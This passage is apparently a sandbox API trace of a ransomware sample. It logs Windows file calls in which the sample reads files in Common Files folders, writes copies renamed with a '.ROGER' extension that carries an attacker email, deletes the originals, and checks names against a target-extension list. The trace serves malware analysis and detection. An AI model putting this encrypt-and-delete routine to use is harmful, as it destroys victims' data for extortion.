[0050.043] CloseHandle (hObject=0x340) returned 1 [0050.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0050.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.043] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.043] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0050.044] GetLastError () returned 0x0 [0050.044] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1195f, lpOverlapped=0x0) returned 1 [0050.046] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x11960, lpOverlapped=0x0) returned 1 [0050.048] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.048] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.048] SetEndOfFile (hFile=0x36c) returned 1 [0050.048] CloseHandle (hObject=0x36c) returned 1 [0050.048] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.048] SetEndOfFile (hFile=0x340) returned 1 [0050.049] CloseHandle (hObject=0x340) returned 1 [0050.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0050.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.050] lstrlenW (lpString=".doc") returned 4 [0050.050] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.050] lstrlenW (lpString=".docx") returned 5 [0050.050] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0050.050] lstrlenW (lpString=".pdf") returned 4 [0050.050] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.050] lstrlenW (lpString=".xls") returned 4 [0050.050] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.050] lstrlenW (lpString=".xlsx") returned 5 [0050.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0050.050] lstrlenW (lpString=".ppt") returned 4 [0050.050] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.050] lstrlenW (lpString=".zip") returned 4 [0050.050] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.050] lstrlenW (lpString=".rar") returned 4 [0050.050] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.050] lstrlenW (lpString=".bz2") returned 4 [0050.051] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.051] lstrlenW (lpString=".7z") returned 3 [0050.051] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.051] lstrlenW (lpString=".dbf") returned 4 [0050.051] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.051] lstrlenW (lpString=".1cd") returned 4 [0050.051] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.051] lstrlenW (lpString=".jpg") returned 4 [0050.051] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.051] lstrlenW (lpString=".doc") returned 4 [0050.051] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString=".docx") returned 5 [0050.051] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0050.051] lstrlenW (lpString=".pdf") returned 4 [0050.051] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString=".xls") returned 4 [0050.051] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString=".xlsx") returned 5 [0050.051] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0050.051] lstrlenW (lpString=".ppt") returned 4 [0050.051] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.051] lstrlenW (lpString=".zip") returned 4 [0050.051] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString=".rar") returned 4 [0050.051] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.051] lstrlenW (lpString=".bz2") returned 4 [0050.052] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.052] lstrlenW (lpString=".7z") returned 3 [0050.052] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.052] lstrlenW (lpString=".dbf") returned 4 [0050.052] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.052] lstrlenW (lpString=".1cd") returned 4 [0050.052] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0050.052] lstrlenW (lpString=".jpg") returned 4 [0050.052] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.052] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.052] lstrlenW (lpString="VBHW6.CHM") returned 9 [0050.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.052] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=58026) returned 1 [0050.052] CloseHandle (hObject=0x340) returned 1 [0050.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0050.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.053] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.053] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0050.053] GetLastError () returned 0x0 [0050.053] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0050.055] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0050.057] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.057] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.057] SetEndOfFile (hFile=0x36c) returned 1 [0050.057] CloseHandle (hObject=0x36c) returned 1 [0050.057] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.057] SetEndOfFile (hFile=0x340) returned 1 [0050.058] CloseHandle (hObject=0x340) returned 1 [0050.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.058] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0050.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.059] lstrlenW (lpString=".doc") returned 4 [0050.059] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString=".docx") returned 5 [0050.059] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.059] lstrlenW (lpString=".pdf") returned 4 [0050.059] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString=".xls") returned 4 [0050.059] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString=".xlsx") returned 5 [0050.059] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.059] lstrlenW (lpString=".ppt") returned 4 [0050.059] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.059] lstrlenW (lpString=".zip") returned 4 [0050.059] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString=".rar") returned 4 [0050.059] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString=".bz2") returned 4 [0050.059] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.059] lstrlenW (lpString=".7z") returned 3 [0050.059] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.059] lstrlenW (lpString=".dbf") returned 4 [0050.059] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.059] lstrlenW (lpString=".1cd") returned 4 [0050.059] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.060] lstrlenW (lpString=".jpg") returned 4 [0050.060] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.060] lstrlenW (lpString=".doc") returned 4 [0050.060] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString=".docx") returned 5 [0050.060] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.060] lstrlenW (lpString=".pdf") returned 4 [0050.060] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString=".xls") returned 4 [0050.060] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString=".xlsx") returned 5 [0050.060] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.060] lstrlenW (lpString=".ppt") returned 4 [0050.060] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.060] lstrlenW (lpString=".zip") returned 4 [0050.060] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString=".rar") returned 4 [0050.060] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString=".bz2") returned 4 [0050.060] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.060] lstrlenW (lpString=".7z") returned 3 [0050.060] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.060] lstrlenW (lpString=".dbf") returned 4 [0050.060] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.060] lstrlenW (lpString=".1cd") returned 4 [0050.060] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.061] lstrlenW (lpString=".jpg") returned 4 [0050.061] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.061] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.061] lstrlenW (lpString="VBLR6.CHM") returned 9 [0050.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.061] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=944994) returned 1 [0050.061] CloseHandle (hObject=0x340) returned 1 [0050.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0050.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.061] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.061] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0050.062] GetLastError () returned 0x0 [0050.062] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0050.100] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0050.121] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.121] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.121] SetEndOfFile (hFile=0x36c) returned 1 [0050.122] CloseHandle (hObject=0x36c) returned 1 [0050.122] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.122] SetEndOfFile (hFile=0x340) returned 1 [0050.262] CloseHandle (hObject=0x340) returned 1 [0050.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0050.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.265] lstrlenW (lpString=".doc") returned 4 [0050.265] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString=".docx") returned 5 [0050.265] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.265] lstrlenW (lpString=".pdf") returned 4 [0050.265] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString=".xls") returned 4 [0050.265] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString=".xlsx") returned 5 [0050.265] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.265] lstrlenW (lpString=".ppt") returned 4 [0050.265] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.265] lstrlenW (lpString=".zip") returned 4 [0050.265] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString=".rar") returned 4 [0050.265] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString=".bz2") returned 4 [0050.265] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.265] lstrlenW (lpString=".7z") returned 3 [0050.265] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.265] lstrlenW (lpString=".dbf") returned 4 [0050.265] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.265] lstrlenW (lpString=".1cd") returned 4 [0050.265] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.265] lstrlenW (lpString=".jpg") returned 4 [0050.265] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.266] lstrlenW (lpString=".doc") returned 4 [0050.266] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString=".docx") returned 5 [0050.266] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.266] lstrlenW (lpString=".pdf") returned 4 [0050.266] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString=".xls") returned 4 [0050.266] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString=".xlsx") returned 5 [0050.266] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.266] lstrlenW (lpString=".ppt") returned 4 [0050.266] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.266] lstrlenW (lpString=".zip") returned 4 [0050.266] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString=".rar") returned 4 [0050.266] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString=".bz2") returned 4 [0050.266] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.266] lstrlenW (lpString=".7z") returned 3 [0050.266] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.266] lstrlenW (lpString=".dbf") returned 4 [0050.266] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.266] lstrlenW (lpString=".1cd") returned 4 [0050.266] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0050.266] lstrlenW (lpString=".jpg") returned 4 [0050.266] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.267] lstrcmpiW (lpString1=".inc", lpString2=".ROGER") returned -1 [0050.267] lstrlenW (lpString="adojavas.inc") returned 12 [0050.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.268] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: 